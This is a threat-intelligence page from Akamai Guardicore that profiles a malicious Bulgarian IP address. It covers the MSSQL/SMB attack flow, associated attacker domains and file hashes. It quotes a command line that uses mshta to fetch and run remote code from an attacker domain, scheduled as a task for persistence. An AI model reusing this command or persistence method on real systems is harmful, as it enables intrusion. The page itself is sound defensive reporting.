Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 91.191.220.164Malicious

IP Address: 91.191.220.164Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL SMB

Tags

Scheduled Task Creation SMB Share Connect Access Share DNS Query Service Stop Service Creation SMB Access Suspicious Domain Execute from Share Successful SMB Login Service Start CMD MSSQL File Operation By CMD Service Deletion Download File SMB Null Session Login

Associated Attack Servers

t.amynx.com w.zz3r0.com

Basic Information

IP Address

91.191.220.164

Domain

-

ISP

Lir.bg EOOD

Country

Bulgaria

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2022-11-03

Last seen in Akamai Guardicore Segmentation

2023-10-27

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Correct Password

Successful SMB Login

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User

Successful SMB Login

A user logged in using SMB with the following username: Administrator - Authentication policy: Previously Approved User 4 times

Successful SMB Login

c:\windows\system32\services.exe installed and started \\server-backup\c$\sksqmvmu.exe as a service named jrat under service group None

Service Creation Service Start

sksqmvmu.exe was executed from the remote share \\server-backup\c$

Execute from Share

C:\WINDOWS\Temp\svchost.exe was downloaded

Download File

uhpvehny.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\uhpvehny.exe as a service named guKx under service group None

Service Creation Service Start

C:\windows\temp\tmp.vbs was downloaded

Download File

Service guKx was stopped

Service Stop

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

The command line c:\windows\DBsEfgb.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

DNS Query Access Suspicious Domain

The command line c:\windows\NoOHrGA.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

Connection was closed due to timeout

Associated Files

C:\WINDOWS\Temp\svchost.exe

SHA256: 0c12253e92b5c0daa1ea0f9527272552b56b3d3dfc5e4e57cbf80a0c68593fb9

65000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 11ff79de0a6cb0bd4f666fc5e9e240fcb78333bfde81038ff1402917e7ef9394

65000 bytes

C:\WINDOWS\Temp\svchost.exe

SHA256: 19ec15916d504dd9c9a4c2f05dfc0d6bd3d2e72ef8e8234a9deb601598fa15c3

130000 bytes

C:\AAWjAHIc.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes